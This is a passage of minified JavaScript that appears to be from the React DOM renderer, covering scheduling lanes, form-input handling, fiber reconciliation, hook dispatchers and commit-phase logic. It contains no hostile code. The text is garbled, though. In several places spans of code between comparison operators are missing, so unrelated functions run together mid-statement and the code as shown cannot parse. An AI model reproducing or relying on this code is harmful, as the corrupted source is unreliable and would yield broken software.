2097152:return g&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return g&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return g}}function Er(g,A,I){var r=g.pendingLanes;if(r===0)return 0;var c=0,d=g.suspendedLanes,f=g.pingedLanes;g=g.warmLanes;var y=r&134217727;return y!==0?(r=y&~d,r!==0?c=AA(r):(f&=y,f!==0?c=AA(f):I||(I=y&~g,I!==0&&(c=AA(I))))):(y=r&~d,y!==0?c=AA(y):f!==0?c=AA(f):I||(I=r&~g,I!==0&&(c=AA(I)))),c===0?0:A!==0&&A!==c&&(A&d)===0&&(d=c&-c,I=A&-A,d>=I||d===32&&(I&4194048)!==0)?A:c}function to(g,A){return(g.pendingLanes&~(g.suspendedLanes&~g.pingedLanes)&A)===0}function OQ(g,A){switch(g){case 1:case 2:case 4:case 8:case 64:return A+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return A+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Hw(){var g=wr;return wr<<=1,(wr&62914560)===0&&(wr=4194304),g}function _u(g){for(var A=[],I=0;31>I;I++)A.push(g);return A}function go(g,A){g.pendingLanes|=A,A!==268435456&&(g.suspendedLanes=0,g.pingedLanes=0,g.warmLanes=0)}function xQ(g,A,I,r,c,d){var f=g.pendingLanes;g.pendingLanes=I,g.suspendedLanes=0,g.pingedLanes=0,g.warmLanes=0,g.expiredLanes&=I,g.entangledLanes&=I,g.errorRecoveryDisabledLanes&=I,g.shellSuspendCounter=0;var y=g.entanglements,T=g.expirationTimes,_=g.hiddenUpdates;for(I=f&~I;0"u")return null;try{return g.activeElement||g.body}catch{return g.body}}var _Q=/[\n"\\]/g;function _g(g){return g.replace(_Q,function(A){return"\\"+A.charCodeAt(0).toString(16)+" "})}function Lu(g,A,I,r,c,d,f,y){g.name="",f!=null&&typeof f!="function"&&typeof f!="symbol"&&typeof f!="boolean"?g.type=f:g.removeAttribute("type"),A!=null?f==="number"?(A===0&&g.value===""||g.value!=A)&&(g.value=""+Mg(A)):g.value!==""+Mg(A)&&(g.value=""+Mg(A)):f!=="submit"&&f!=="reset"||g.removeAttribute("value"),A!=null?Gu(g,f,Mg(A)):I!=null?Gu(g,f,Mg(I)):r!=null&&g.removeAttribute("value"),c==null&&d!=null&&(g.defaultChecked=!!d),c!=null&&(g.checked=c&&typeof c!="function"&&typeof c!="symbol"),y!=null&&typeof y!="function"&&typeof y!="symbol"&&typeof y!="boolean"?g.name=""+Mg(y):g.removeAttribute("name")}function A1(g,A,I,r,c,d,f,y){if(d!=null&&typeof d!="function"&&typeof d!="symbol"&&typeof d!="boolean"&&(g.type=d),A!=null||I!=null){if(!(d!=="submit"&&d!=="reset"||A!=null)){ju(g);return}I=I!=null?""+Mg(I):"",A=A!=null?""+Mg(A):I,y||A===g.value||(g.value=A),g.defaultValue=A}r=r??c,r=typeof r!="function"&&typeof r!="symbol"&&!!r,g.checked=y?g.checked:!!r,g.defaultChecked=!!r,f!=null&&typeof f!="function"&&typeof f!="symbol"&&typeof f!="boolean"&&(g.name=f),ju(g)}function Gu(g,A,I){A==="number"&&Or(g.ownerDocument)===g||g.defaultValue===""+I||(g.defaultValue=""+I)}function cC(g,A,I,r){if(g=g.options,A){A={};for(var c=0;c"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Hu=!1;if(zi)try{var Co={};Object.defineProperty(Co,"passive",{get:function(){Hu=!0}}),window.addEventListener("test",Co,Co),window.removeEventListener("test",Co,Co)}catch{Hu=!1}var un=null,Ku=null,Nr=null;function l1(){if(Nr)return Nr;var g,A=Ku,I=A.length,r,c="value"in un?un.value:un.textContent,d=c.length;for(g=0;g=so),p1=" ",m1=!1;function v1(g,A){switch(g){case"keyup":return oX.indexOf(A.keyCode)!==-1;case"keydown":return A.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function y1(g){return g=g.detail,typeof g=="object"&&"data"in g?g.data:null}var fC=!1;function rX(g,A){switch(g){case"compositionend":return y1(A);case"keypress":return A.which!==32?null:(m1=!0,p1);case"textInput":return g=A.data,g===p1&&m1?null:g;default:return null}}function aX(g,A){if(fC)return g==="compositionend"||!Ju&&v1(g,A)?(g=l1(),Nr=Ku=un=null,fC=!1,g):null;switch(g){case"paste":return null;case"keypress":if(!(A.ctrlKey||A.altKey||A.metaKey)||A.ctrlKey&&A.altKey){if(A.char&&1=A)return{node:I,offset:A-g};g=r}e:{for(;I;){if(I.nextSibling){I=I.nextSibling;break e}I=I.parentNode}I=void 0}I=N1(I)}}function z1(g,A){return g&&A?g===A?!0:g&&g.nodeType===3?!1:A&&A.nodeType===3?z1(g,A.parentNode):"contains"in g?g.contains(A):g.compareDocumentPosition?!!(g.compareDocumentPosition(A)&16):!1:!1}function R1(g){g=g!=null&&g.ownerDocument!=null&&g.ownerDocument.defaultView!=null?g.ownerDocument.defaultView:window;for(var A=Or(g.document);A instanceof g.HTMLIFrameElement;){try{var I=typeof A.contentWindow.location.href=="string"}catch{I=!1}if(I)g=A.contentWindow;else break;A=Or(g.document)}return A}function td(g){var A=g&&g.nodeName&&g.nodeName.toLowerCase();return A&&(A==="input"&&(g.type==="text"||g.type==="search"||g.type==="tel"||g.type==="url"||g.type==="password")||A==="textarea"||g.contentEditable==="true")}var mX=zi&&"documentMode"in document&&11>=document.documentMode,pC=null,gd=null,co=null,id=!1;function M1(g,A,I){var r=I.window===I?I.document:I.nodeType===9?I:I.ownerDocument;id||pC==null||pC!==Or(r)||(r=pC,"selectionStart"in r&&td(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&lo(co,r)||(co=r,r=ba(gd,"onSelect"),0>=f,c-=f,li=1<<32-fg(A)+c|I<ye?(xe=ne,ne=null):xe=ne.sibling;var ke=Z(x,ne,M[ye],V);if(ke===null){ne===null&&(ne=xe);break}g&&ne&&ke.alternate===null&&A(x,ne),S=d(ke,S,ye),_e===null?se=ke:_e.sibling=ke,_e=ke,ne=xe}if(ye===M.length)return I(x,ne),Ne&&Mi(x,ye),se;if(ne===null){for(;yeye?(xe=ne,ne=null):xe=ne.sibling;var Zn=Z(x,ne,ke.value,V);if(Zn===null){ne===null&&(ne=xe);break}g&&ne&&Zn.alternate===null&&A(x,ne),S=d(Zn,S,ye),_e===null?se=Zn:_e.sibling=Zn,_e=Zn,ne=xe}if(ke.done)return I(x,ne),Ne&&Mi(x,ye),se;if(ne===null){for(;!ke.done;ye++,ke=M.next())ke=U(x,ke.value,V),ke!==null&&(S=d(ke,S,ye),_e===null?se=ke:_e.sibling=ke,_e=ke);return Ne&&Mi(x,ye),se}for(ne=r(ne);!ke.done;ye++,ke=M.next())ke=B(ne,x,ye,ke.value,V),ke!==null&&(g&&ke.alternate!==null&&ne.delete(ke.key===null?ye:ke.key),S=d(ke,S,ye),_e===null?se=ke:_e.sibling=ke,_e=ke);return g&&ne.forEach(function(jW){return A(x,jW)}),Ne&&Mi(x,ye),se}function Ke(x,S,M,V){if(typeof M=="object"&&M!==null&&M.type===D&&M.key===null&&(M=M.props.children),typeof M=="object"&&M!==null){switch(M.$$typeof){case v:e:{for(var se=M.key;S!==null;){if(S.key===se){if(se=M.type,se===D){if(S.tag===7){I(x,S.sibling),V=c(S,M.props.children),V.return=x,x=V;break e}}else if(S.elementType===se||typeof se=="object"&&se!==null&&se.$$typeof===re&&hA(se)===S.type){I(x,S.sibling),V=c(S,M.props),vo(V,M),V.return=x,x=V;break e}I(x,S);break}else A(x,S);S=S.sibling}M.type===D?(V=aA(M.props.children,x.mode,V,M.key),V.return=x,x=V):(V=jr(M.type,M.key,M.props,null,x.mode,V),vo(V,M),V.return=x,x=V)}return f(x);case w:e:{for(se=M.key;S!==null;){if(S.key===se)if(S.tag===4&&S.stateNode.containerInfo===M.containerInfo&&S.stateNode.implementation===M.implementation){I(x,S.sibling),V=c(S,M.children||[]),V.return=x,x=V;break e}else{I(x,S);break}else A(x,S);S=S.sibling}V=rd(M,x.mode,V),V.return=x,x=V}return f(x);case re:return M=hA(M),Ke(x,S,M,V)}if(J(M))return te(x,S,M,V);if(fe(M)){if(se=fe(M),typeof se!="function")throw Error(i(150));return M=se.call(M),ce(x,S,M,V)}if(typeof M.then=="function")return Ke(x,S,Hr(M),V);if(M.$$typeof===Y)return Ke(x,S,Fr(x,M),V);Kr(x,M)}return typeof M=="string"&&M!==""||typeof M=="number"||typeof M=="bigint"?(M=""+M,S!==null&&S.tag===6?(I(x,S.sibling),V=c(S,M),V.return=x,x=V):(I(x,S),V=sd(M,x.mode,V),V.return=x,x=V),f(x)):I(x,S)}return function(x,S,M,V){try{mo=0;var se=Ke(x,S,M,V);return NC=null,se}catch(ne){if(ne===xC||ne===Yr)throw ne;var _e=mg(29,ne,null,x.mode);return _e.lanes=V,_e.return=x,_e}}}var pA=gE(!0),iE=gE(!1),mn=!1;function bd(g){g.updateQueue={baseState:g.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function wd(g,A){g=g.updateQueue,A.updateQueue===g&&(A.updateQueue={baseState:g.baseState,firstBaseUpdate:g.firstBaseUpdate,lastBaseUpdate:g.lastBaseUpdate,shared:g.shared,callbacks:null})}function vn(g){return{lane:g,tag:0,payload:null,callback:null,next:null}}function yn(g,A,I){var r=g.updateQueue;if(r===null)return null;if(r=r.shared,(Pe&2)!==0){var c=r.pending;return c===null?A.next=A:(A.next=c.next,c.next=A),r.pending=A,A=Pr(g),L1(g,null,I),A}return Br(g,r,A,I),Pr(g)}function yo(g,A,I){if(A=A.updateQueue,A!==null&&(A=A.shared,(I&4194048)!==0)){var r=A.lanes;r&=g.pendingLanes,I|=r,A.lanes=I,Qw(g,I)}}function Ed(g,A){var I=g.updateQueue,r=g.alternate;if(r!==null&&(r=r.updateQueue,I===r)){var c=null,d=null;if(I=I.firstBaseUpdate,I!==null){do{var f={lane:I.lane,tag:I.tag,payload:I.payload,callback:null,next:null};d===null?c=d=f:d=d.next=f,I=I.next}while(I!==null);d===null?c=d=A:d=d.next=A}else c=d=A;I={baseState:r.baseState,firstBaseUpdate:c,lastBaseUpdate:d,shared:r.shared,callbacks:r.callbacks},g.updateQueue=I;return}g=I.lastBaseUpdate,g===null?I.firstBaseUpdate=A:g.next=A,I.lastBaseUpdate=A}var Td=!1;function bo(){if(Td){var g=OC;if(g!==null)throw g}}function wo(g,A,I,r){Td=!1;var c=g.updateQueue;mn=!1;var d=c.firstBaseUpdate,f=c.lastBaseUpdate,y=c.shared.pending;if(y!==null){c.shared.pending=null;var T=y,_=T.next;T.next=null,f===null?d=_:f.next=_,f=T;var G=g.alternate;G!==null&&(G=G.updateQueue,y=G.lastBaseUpdate,y!==f&&(y===null?G.firstBaseUpdate=_:y.next=_,G.lastBaseUpdate=T))}if(d!==null){var U=c.baseState;f=0,G=_=T=null,y=d;do{var Z=y.lane&-536870913,B=Z!==y.lane;if(B?(Oe&Z)===Z:(r&Z)===Z){Z!==0&&Z===SC&&(Td=!0),G!==null&&(G=G.next={lane:0,tag:y.tag,payload:y.payload,callback:null,next:null});e:{var te=g,ce=y;Z=A;var Ke=I;switch(ce.tag){case 1:if(te=ce.payload,typeof te=="function"){U=te.call(Ke,U,Z);break e}U=te;break e;case 3:te.flags=te.flags&-65537|128;case 0:if(te=ce.payload,Z=typeof te=="function"?te.call(Ke,U,Z):te,Z==null)break e;U=p({},U,Z);break e;case 2:mn=!0}}Z=y.callback,Z!==null&&(g.flags|=64,B&&(g.flags|=8192),B=c.callbacks,B===null?c.callbacks=[Z]:B.push(Z))}else B={lane:Z,tag:y.tag,payload:y.payload,callback:y.callback,next:null},G===null?(_=G=B,T=U):G=G.next=B,f|=Z;if(y=y.next,y===null){if(y=c.shared.pending,y===null)break;B=y,y=B.next,B.next=null,c.lastBaseUpdate=B,c.shared.pending=null}}while(!0);G===null&&(T=U),c.baseState=T,c.firstBaseUpdate=_,c.lastBaseUpdate=G,d===null&&(c.shared.lanes=0),Sn|=f,g.lanes=f,g.memoizedState=U}}function nE(g,A){if(typeof g!="function")throw Error(i(191,g));g.call(A)}function AE(g,A){var I=g.callbacks;if(I!==null)for(g.callbacks=null,g=0;gd?d:8;var f=O.T,y={};O.T=y,Yd(g,!1,A,I);try{var T=c(),_=O.S;if(_!==null&&_(y,T),T!==null&&typeof T=="object"&&typeof T.then=="function"){var G=xX(T,r);So(g,A,G,Eg(g))}else So(g,A,r,Eg(g))}catch(U){So(g,A,{then:function(){},status:"rejected",reason:U},Eg())}finally{L.p=d,f!==null&&y.types!==null&&(f.types=y.types),O.T=f}}function _X(){}function Fd(g,A,I,r){if(g.tag!==5)throw Error(i(476));var c=BE(g).queue;ZE(g,c,A,ee,I===null?_X:function(){return PE(g),I(r)})}function BE(g){var A=g.memoizedState;if(A!==null)return A;A={memoizedState:ee,baseState:ee,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:Bi,lastRenderedState:ee},next:null};var I={};return A.next={memoizedState:I,baseState:I,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:Bi,lastRenderedState:I},next:null},g.memoizedState=A,g=g.alternate,g!==null&&(g.memoizedState=A),A}function PE(g){var A=BE(g);A.next===null&&(A=g.alternate.memoizedState),So(g,A.next.queue,{},Eg())}function Vd(){return Vt(Vo)}function jE(){return vt().memoizedState}function LE(){return vt().memoizedState}function kX(g){for(var A=g.return;A!==null;){switch(A.tag){case 24:case 3:var I=Eg();g=vn(I);var r=yn(A,g,I);r!==null&&(ag(r,A,I),yo(r,A,I)),A={cache:pd()},g.payload=A;return}A=A.return}}function ZX(g,A,I){var r=Eg();I={lane:r,revertLane:0,gesture:null,action:I,hasEagerState:!1,eagerState:null,next:null},ia(g)?FE(A,I):(I=Id(g,A,I,r),I!==null&&(ag(I,g,r),VE(I,A,r)))}function GE(g,A,I){var r=Eg();So(g,A,I,r)}function So(g,A,I,r){var c={lane:r,revertLane:0,gesture:null,action:I,hasEagerState:!1,eagerState:null,next:null};if(ia(g))FE(A,c);else{var d=g.alternate;if(g.lanes===0&&(d===null||d.lanes===0)&&(d=A.lastRenderedReducer,d!==null))try{var f=A.lastRenderedState,y=d(f,I);if(c.hasEagerState=!0,c.eagerState=y,pg(y,f))return Br(g,A,c,0),Qe===null&&Zr(),!1}catch{}if(I=Id(g,A,c,r),I!==null)return ag(I,g,r),VE(I,A,r),!0}return!1}function Yd(g,A,I,r){if(r={lane:2,revertLane:bh(),gesture:null,action:r,hasEagerState:!1,eagerState:null,next:null},ia(g)){if(A)throw Error(i(479))}else A=Id(g,I,r,2),A!==null&&ag(A,g,2)}function ia(g){var A=g.alternate;return g===ve||A!==null&&A===ve}function FE(g,A){zC=Wr=!0;var I=g.pending;I===null?A.next=A:(A.next=I.next,I.next=A),g.pending=A}function VE(g,A,I){if((I&4194048)!==0){var r=A.lanes;r&=g.pendingLanes,I|=r,A.lanes=I,Qw(g,I)}}var Oo={readContext:Vt,use:$r,useCallback:at,useContext:at,useEffect:at,useImperativeHandle:at,useLayoutEffect:at,useInsertionEffect:at,useMemo:at,useReducer:at,useRef:at,useState:at,useDebugValue:at,useDeferredValue:at,useTransition:at,useSyncExternalStore:at,useId:at,useHostTransitionStatus:at,useFormState:at,useActionState:at,useOptimistic:at,useMemoCache:at,useCacheRefresh:at};Oo.useEffectEvent=at;var YE={readContext:Vt,use:$r,useCallback:function(g,A){return eg().memoizedState=[g,A===void 0?null:A],g},useContext:Vt,useEffect:OE,useImperativeHandle:function(g,A,I){I=I!=null?I.concat([g]):null,ta(4194308,4,zE.bind(null,A,g),I)},useLayoutEffect:function(g,A){return ta(4194308,4,g,A)},useInsertionEffect:function(g,A){ta(4,2,g,A)},useMemo:function(g,A){var I=eg();A=A===void 0?null:A;var r=g();if(mA){ln(!0);try{g()}finally{ln(!1)}}return I.memoizedState=[r,A],r},useReducer:function(g,A,I){var r=eg();if(I!==void 0){var c=I(A);if(mA){ln(!0);try{I(A)}finally{ln(!1)}}}else c=A;return r.memoizedState=r.baseState=c,g={pending:null,lanes:0,dispatch:null,lastRenderedReducer:g,lastRenderedState:c},r.queue=g,g=g.dispatch=ZX.bind(null,ve,g),[r.memoizedState,g]},useRef:function(g){var A=eg();return g={current:g},A.memoizedState=g},useState:function(g){g=Bd(g);var A=g.queue,I=GE.bind(null,ve,A);return A.dispatch=I,[g.memoizedState,I]},useDebugValue:Ld,useDeferredValue:function(g,A){var I=eg();return Gd(I,g,A)},useTransition:function(){var g=Bd(!1);return g=ZE.bind(null,ve,g.queue,!0,!1),eg().memoizedState=g,[!1,g]},useSyncExternalStore:function(g,A,I){var r=ve,c=eg();if(Ne){if(I===void 0)throw Error(i(407));I=I()}else{if(I=A(),Qe===null)throw Error(i(349));(Oe&127)!==0||aE(r,A,I)}c.memoizedState=I;var d={value:I,getSnapshot:A};return c.queue=d,OE(cE.bind(null,r,d,g),[g]),r.flags|=2048,MC(9,{destroy:void 0},lE.bind(null,r,d,I,A),null),I},useId:function(){var g=eg(),A=Qe.identifierPrefix;if(Ne){var I=ci,r=li;I=(r&~(1<<32-fg(r)-1)).toString(32)+I,A="_"+A+"R_"+I,I=qr++,0<\/script>",d=d.removeChild(d.firstChild);break;case"select":d=typeof r.is=="string"?f.createElement("select",{is:r.is}):f.createElement("select"),r.multiple?d.multiple=!0:r.size&&(d.size=r.size);break;default:d=typeof r.is=="string"?f.createElement(c,{is:r.is}):f.createElement(c)}}d[Gt]=A,d[Ag]=r;e:for(f=A.child;f!==null;){if(f.tag===5||f.tag===6)d.appendChild(f.stateNode);else if(f.tag!==4&&f.tag!==27&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===A)break e;for(;f.sibling===null;){if(f.return===null||f.return===A)break e;f=f.return}f.sibling.return=f.return,f=f.sibling}A.stateNode=d;e:switch(Ut(d,c,r),c){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}r&&ji(A)}}return tt(A),nh(A,A.type,g===null?null:g.memoizedProps,A.pendingProps,I),null;case 6:if(g&&A.stateNode!=null)g.memoizedProps!==r&&ji(A);else{if(typeof r!="string"&&A.stateNode===null)throw Error(i(166));if(g=be.current,EC(A)){if(g=A.stateNode,I=A.memoizedProps,r=null,c=Ft,c!==null)switch(c.tag){case 27:case 5:r=c.memoizedProps}g[Gt]=A,g=!!(g.nodeValue===I||r!==null&&r.suppressHydrationWarning===!0||s2(g.nodeValue,I)),g||fn(A,!0)}else g=wa(g).createTextNode(r),g[Gt]=A,A.stateNode=g}return tt(A),null;case 31:if(I=A.memoizedState,g===null||g.memoizedState!==null){if(r=EC(A),I!==null){if(g===null){if(!r)throw Error(i(318));if(g=A.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(i(557));g[Gt]=A}else lA(),(A.flags&128)===0&&(A.memoizedState=null),A.flags|=4;tt(A),g=!1}else I=ud(),g!==null&&g.memoizedState!==null&&(g.memoizedState.hydrationErrors=I),g=!0;if(!g)return A.flags&256?(yg(A),A):(yg(A),null);if((A.flags&128)!==0)throw Error(i(558))}return tt(A),null;case 13:if(r=A.memoizedState,g===null||g.memoizedState!==null&&g.memoizedState.dehydrated!==null){if(c=EC(A),r!==null&&r.dehydrated!==null){if(g===null){if(!c)throw Error(i(318));if(c=A.memoizedState,c=c!==null?c.dehydrated:null,!c)throw Error(i(317));c[Gt]=A}else lA(),(A.flags&128)===0&&(A.memoizedState=null),A.flags|=4;tt(A),c=!1}else c=ud(),g!==null&&g.memoizedState!==null&&(g.memoizedState.hydrationErrors=c),c=!0;if(!c)return A.flags&256?(yg(A),A):(yg(A),null)}return yg(A),(A.flags&128)!==0?(A.lanes=I,A):(I=r!==null,g=g!==null&&g.memoizedState!==null,I&&(r=A.child,c=null,r.alternate!==null&&r.alternate.memoizedState!==null&&r.alternate.memoizedState.cachePool!==null&&(c=r.alternate.memoizedState.cachePool.pool),d=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(d=r.memoizedState.cachePool.pool),d!==c&&(r.flags|=2048)),I!==g&&I&&(A.child.flags|=8192),oa(A,A.updateQueue),tt(A),null);case 4:return pt(),g===null&&Sh(A.stateNode.containerInfo),tt(A),null;case 10:return ki(A.type),tt(A),null;case 19:if(R(mt),r=A.memoizedState,r===null)return tt(A),null;if(c=(A.flags&128)!==0,d=r.rendering,d===null)if(c)No(r,!1);else{if(lt!==0||g!==null&&(g.flags&128)!==0)for(g=A.child;g!==null;){if(d=Xr(g),d!==null){for(A.flags|=128,No(r,!1),g=d.updateQueue,A.updateQueue=g,oa(A,g),A.subtreeFlags=0,g=I,I=A.child;I!==null;)G1(I,g),I=I.sibling;return H(mt,mt.current&1|2),Ne&&Mi(A,r.treeForkCount),A.child}g=g.sibling}r.tail!==null&&dg()>ca&&(A.flags|=128,c=!0,No(r,!1),A.lanes=4194304)}else{if(!c)if(g=Xr(d),g!==null){if(A.flags|=128,c=!0,g=g.updateQueue,A.updateQueue=g,oa(A,g),No(r,!0),r.tail===null&&r.tailMode==="hidden"&&!d.alternate&&!Ne)return tt(A),null}else 2*dg()-r.renderingStartTime>ca&&I!==536870912&&(A.flags|=128,c=!0,No(r,!1),A.lanes=4194304);r.isBackwards?(d.sibling=A.child,A.child=d):(g=r.last,g!==null?g.sibling=d:A.child=d,r.last=d)}return r.tail!==null?(g=r.tail,r.rendering=g,r.tail=g.sibling,r.renderingStartTime=dg(),g.sibling=null,I=mt.current,H(mt,c?I&1|2:I&1),Ne&&Mi(A,r.treeForkCount),g):(tt(A),null);case 22:case 23:return yg(A),Od(),r=A.memoizedState!==null,g!==null?g.memoizedState!==null!==r&&(A.flags|=8192):r&&(A.flags|=8192),r?(I&536870912)!==0&&(A.flags&128)===0&&(tt(A),A.subtreeFlags&6&&(A.flags|=8192)):tt(A),I=A.updateQueue,I!==null&&oa(A,I.retryQueue),I=null,g!==null&&g.memoizedState!==null&&g.memoizedState.cachePool!==null&&(I=g.memoizedState.cachePool.pool),r=null,A.memoizedState!==null&&A.memoizedState.cachePool!==null&&(r=A.memoizedState.cachePool.pool),r!==I&&(A.flags|=2048),g!==null&&R(dA),null;case 24:return I=null,g!==null&&(I=g.memoizedState.cache),A.memoizedState.cache!==I&&(A.flags|=2048),ki(St),tt(A),null;case 25:return null;case 30:return null}throw Error(i(156,A.tag))}function GX(g,A){switch(ld(A),A.tag){case 1:return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 3:return ki(St),pt(),g=A.flags,(g&65536)!==0&&(g&128)===0?(A.flags=g&-65537|128,A):null;case 26:case 27:case 5:return mr(A),null;case 31:if(A.memoizedState!==null){if(yg(A),A.alternate===null)throw Error(i(340));lA()}return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 13:if(yg(A),g=A.memoizedState,g!==null&&g.dehydrated!==null){if(A.alternate===null)throw Error(i(340));lA()}return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 19:return R(mt),null;case 4:return pt(),null;case 10:return ki(A.type),null;case 22:case 23:return yg(A),Od(),g!==null&&R(dA),g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 24:return ki(St),null;case 25:return null;default:return null}}function uT(g,A){switch(ld(A),A.tag){case 3:ki(St),pt();break;case 26:case 27:case 5:mr(A);break;case 4:pt();break;case 31:A.memoizedState!==null&&yg(A);break;case 13:yg(A);break;case 19:R(mt);break;case 10:ki(A.type);break;case 22:case 23:yg(A),Od(),g!==null&&R(dA);break;case 24:ki(St)}}function Do(g,A){try{var I=A.updateQueue,r=I!==null?I.lastEffect:null;if(r!==null){var c=r.next;I=c;do{if((I.tag&g)===g){r=void 0;var d=I.create,f=I.inst;r=d(),f.destroy=r}I=I.next}while(I!==c)}}catch(y){Ve(A,A.return,y)}}function En(g,A,I){try{var r=A.updateQueue,c=r!==null?r.lastEffect:null;if(c!==null){var d=c.next;r=d;do{if((r.tag&g)===g){var f=r.inst,y=f.destroy;if(y!==void 0){f.destroy=void 0,c=A;var T=I,_=y;try{_()}catch(G){Ve(c,T,G)}}}r=r.next}while(r!==d)}}catch(G){Ve(A,A.return,G)}}function dT(g){var A=g.updateQueue;if(A!==null){var I=g.stateNode;try{AE(A,I)}catch(r){Ve(g,g.return,r)}}}function hT(g,A,I){I.props=vA(g.type,g.memoizedProps),I.state=g.memoizedState;try{I.componentWillUnmount()}catch(r){Ve(g,A,r)}}function zo(g,A){try{var I=g.ref;if(I!==null){switch(g.tag){case 26:case 27:case 5:var r=g.stateNode;break;case 30:r=g.stateNode;break;default:r=g.stateNode}typeof I=="function"?g.refCleanup=I(r):I.current=r}}catch(c){Ve(g,A,c)}}function ui(g,A){var I=g.ref,r=g.refCleanup;if(I!==null)if(typeof r=="function")try{r()}catch(c){Ve(g,A,c)}finally{g.refCleanup=null,g=g.alternate,g!=null&&(g.refCleanup=null)}else if(typeof I=="function")try{I(null)}catch(c){Ve(g,A,c)}else I.current=null}function fT(g){var A=g.type,I=g.memoizedProps,r=g.stateNode;try{e:switch(A){case"button":case"input":case"select":case"textarea":I.autoFocus&&r.focus();break e;case"img":I.src?r.src=I.src:I.srcSet&&(r.srcset=I.srcSet)}}catch(c){Ve(g,g.return,c)}}function Ah(g,A,I){try{var r=g.stateNode;sW(r,g.type,I,A),r[Ag]=A}catch(c){Ve(g,g.return,c)}}function pT(g){return g.tag===5||g.tag===3||g.tag===26||g.tag===27&&zn(g.type)||g.tag===4}function Ch(g){e:for(;;){for(;g.sibling===null;){if(g.return===null||pT(g.return))return null;g=g.return}for(g.sibling.return=g.return,g=g.sibling;g.tag!==5&&g.tag!==6&&g.tag!==18;){if(g.tag===27&&zn(g.type)||g.flags&2||g.child===null||g.tag===4)continue e;g.child.return=g,g=g.child}if(!(g.flags&2))return g.stateNode}}function Ih(g,A,I){var r=g.tag;if(r===5||r===6)g=g.stateNode,A?(I.nodeType===9?I.body:I.nodeName==="HTML"?I.ownerDocument.body:I).insertBefore(g,A):(A=I.nodeType===9?I.body:I.nodeName==="HTML"?I.ownerDocument.body:I,A.appendChild(g),I=I._reactRootContainer,I!=null||A.onclick!==null||(A.onclick=Di));else if(r!==4&&(r===27&&zn(g.type)&&(I=g.stateNode,A=null),g=g.child,g!==null))for(Ih(g,A,I),g=g.sibling;g!==null;)Ih(g,A,I),g=g.sibling}function sa(g,A,I){var r=g.tag;if(r===5||r===6)g=g.stateNode,A?I.insertBefore(g,A):I.appendChild(g);else if(r!==4&&(r===27&&zn(g.type)&&(I=g.stateNode),g=g.child,g!==null))for(sa(g,A,I),g=g.sibling;g!==null;)sa(g,A,I),g=g.sibling}function mT(g){var A=g.stateNode,I=g.memoizedProps;try{for(var r=g.type,c=A.attributes;c.length;)A.removeAttributeNode(c[0]);Ut(A,r,I),A[Gt]=g,A[Ag]=I}catch(d){Ve(g,g.return,d)}}var Li=!1,Nt=!1,oh=!1,vT=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function FX(g,A){if(g=g.containerInfo,Nh=Da,g=R1(g),td(g)){if("selectionStart"in g)var I={start:g.selectionStart,end:g.selectionEnd};else e:{I=(I=g.ownerDocument)&&I.defaultView||window;var r=I.getSelection&&I.getSelection();if(r&&r.rangeCount!==0){I=r.anchorNode;var c=r.anchorOffset,d=r.focusNode;r=r.focusOffset;try{I.nodeType,d.nodeType}catch{I=null;break e}var f=0,y=-1,T=-1,_=0,G=0,U=g,Z=null;t:for(;;){for(var B;U!==I||c!==0&&U.nodeType!==3||(y=f+c),U!==d||r!==0&&U.nodeType!==3||(T=f+r),U.nodeType===3&&(f+=U.nodeValue.length),(B=U.firstChild)!==null;)Z=U,U=B;for(;;){if(U===g)break t;if(Z===I&&++_===c&&(y=f),Z===d&&++G===r&&(T=f),(B=U.nextSibling)!==null)break;U=Z,Z=U.parentNode}U=B}I=y===-1||T===-1?null:{start:y,end:T}}else I=null}I=I||{start:0,end:0}}else I=null;for(Dh={focusedElem:g,selectionRange:I},Da=!1,Bt=A;Bt!==null;)if(A=Bt,g=A.child,(A.subtreeFlags&1028)!==0&&g!==null)g.return=A,Bt=g;else for(;Bt!==null;){switch(A=Bt,d=A.alternate,g=A.flags,A.tag){case 0:if((g&4)!==0&&(g=A.updateQueue,g=g!==null?g.events:null,g!==null))for(I=0;I title"))),Ut(d,r,I),d[Gt]=g,Zt(d),r=d;break e;case"link":var f=S2("link","href",c).get(r+(I.href||""));if(f){for(var y=0;yKe&&(f=Ke,Ke=ce,ce=f);var x=D1(y,ce),S=D1(y,Ke);if(x&&S&&(B.rangeCount!==1||B.anchorNode!==x.node||B.anchorOffset!==x.offset||B.focusNode!==S.node||B.focusOffset!==S.offset)){var M=U.createRange();M.setStart(x.node,x.offset),B.removeAllRanges(),ce>Ke?(B.addRange(M),B.extend(S.node,S.offset)):(M.setEnd(S.node,S.offset),B.addRange(M))}}}}for(U=[],B=y;B=B.parentNode;)B.nodeType===1&&U.push({element:B,left:B.scrollLeft,top:B.scrollTop});for(typeof y.focus=="function"&&y.focus(),y=0;yI?32:I,O.T=null,I=dh,dh=null;var d=xn,f=Ui;if(Mt=0,PC=xn=null,Ui=0,(Pe&6)!==0)throw Error(i(331));var 